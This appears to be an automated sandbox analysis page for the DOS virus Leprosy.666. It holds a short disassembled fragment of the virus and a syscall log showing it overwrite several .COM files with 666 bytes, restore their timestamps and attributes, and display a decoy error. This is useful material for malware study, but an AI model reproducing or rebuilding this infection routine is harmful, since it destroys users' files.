Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.666.q

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:11:44.944041343Z 44 PC: 12b93 | Get time 0x12b93: cmp byte ptr [0x106], 0
0x12b98: je 0x12b9f
0x12b9a: cmp dh, 0xf
0x12b9d: jg 0x12ba8
0x12b9f: cmp dl, 0
0x12ba2: je 0x12b8f
0x12ba4: mov byte ptr [0x106], dl
0x12ba8: mov byte ptr [0x244], 0
0x12bad: mov byte ptr [0x245], 4
0x12bb2: mov byte ptr [0x24e], 0
0x12bb7: mov cx, 0x27
0x12bba: mov dx, 0x131
0x12bbd: mov ah, 0x4e
0x12bbf: int 0x21
0x12bc1: cmp ax, 0x12
0x12bc4: je 0x12bc9
0x12bc6: call 0x12beb
0x12bc9: mov cx, 0x27
0x12bcc: mov dx, 0x137
0x12bcf: mov ah, 0x4e
2018-12-17T23:11:44.949520872Z 78 PC: 12bc1 | Find first file
2018-12-17T23:11:44.956921108Z 78 PC: 12bd3 | Find first file
2018-12-17T23:11:44.963668605Z 67 PC: 12c0c | Get or set file attributes
2018-12-17T23:11:44.989080587Z 61 PC: 12c12 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:11:45.001279109Z 63 PC: 12c21 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T23:11:45.016602699Z 62 PC: 12c55 | Close file
2018-12-17T23:11:45.019770644Z 61 PC: 12c5e | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:11:45.029058011Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T23:11:45.038493596Z 87 PC: 12c86 | Get or set file date and time
2018-12-17T23:11:45.055237719Z 62 PC: 12c8e | Close file
2018-12-17T23:11:45.065725682Z 67 PC: 12c9b | Get or set file attributes
2018-12-17T23:11:45.071202146Z 79 PC: 12c45 | Find next file
2018-12-17T23:11:45.075552985Z 67 PC: 12c0c | Get or set file attributes
2018-12-17T23:11:45.088343851Z 61 PC: 12c12 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:11:45.096570014Z 63 PC: 12c21 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T23:11:45.103829783Z 62 PC: 12c55 | Close file
2018-12-17T23:11:45.107485689Z 61 PC: 12c5e | Open file (Filename = 'PRINT.COM')
2018-12-17T23:11:45.115813695Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T23:11:45.125462428Z 87 PC: 12c86 | Get or set file date and time
2018-12-17T23:11:45.127655026Z 62 PC: 12c8e | Close file
2018-12-17T23:11:45.137850112Z 67 PC: 12c9b | Get or set file attributes
2018-12-17T23:11:45.144588333Z 79 PC: 12c45 | Find next file
2018-12-17T23:11:45.148046471Z 67 PC: 12c0c | Get or set file attributes
2018-12-17T23:11:45.160538743Z 61 PC: 12c12 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:11:45.169333584Z 63 PC: 12c21 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T23:11:45.177336355Z 62 PC: 12c55 | Close file
2018-12-17T23:11:45.181048036Z 61 PC: 12c5e | Open file (Filename = 'HELLO.COM')
2018-12-17T23:11:45.190188275Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T23:11:45.199894851Z 87 PC: 12c86 | Get or set file date and time
2018-12-17T23:11:45.202655703Z 62 PC: 12c8e | Close file
2018-12-17T23:11:45.212078386Z 67 PC: 12c9b | Get or set file attributes
2018-12-17T23:11:45.21778381Z 79 PC: 12c45 | Find next file
2018-12-17T23:11:45.22205296Z 67 PC: 12c0c | Get or set file attributes
2018-12-17T23:11:45.233912653Z 61 PC: 12c12 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:11:45.242240596Z 63 PC: 12c21 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T23:11:45.2501595Z 62 PC: 12c55 | Close file
2018-12-17T23:11:45.253039456Z 61 PC: 12c5e | Open file (Filename = 'PHANG.COM')
2018-12-17T23:11:45.261308183Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T23:11:45.271667957Z 87 PC: 12c86 | Get or set file date and time
2018-12-17T23:11:45.275779661Z 62 PC: 12c8e | Close file
2018-12-17T23:11:45.282124391Z 67 PC: 12c9b | Get or set file attributes
2018-12-17T23:11:45.285636788Z 9 PC: 12cca | Display string (String= ' Program too big to fit in memory')
2018-12-17T23:11:45.290725607Z 76 PC: 12cce | Terminate with return code (Return code = '36')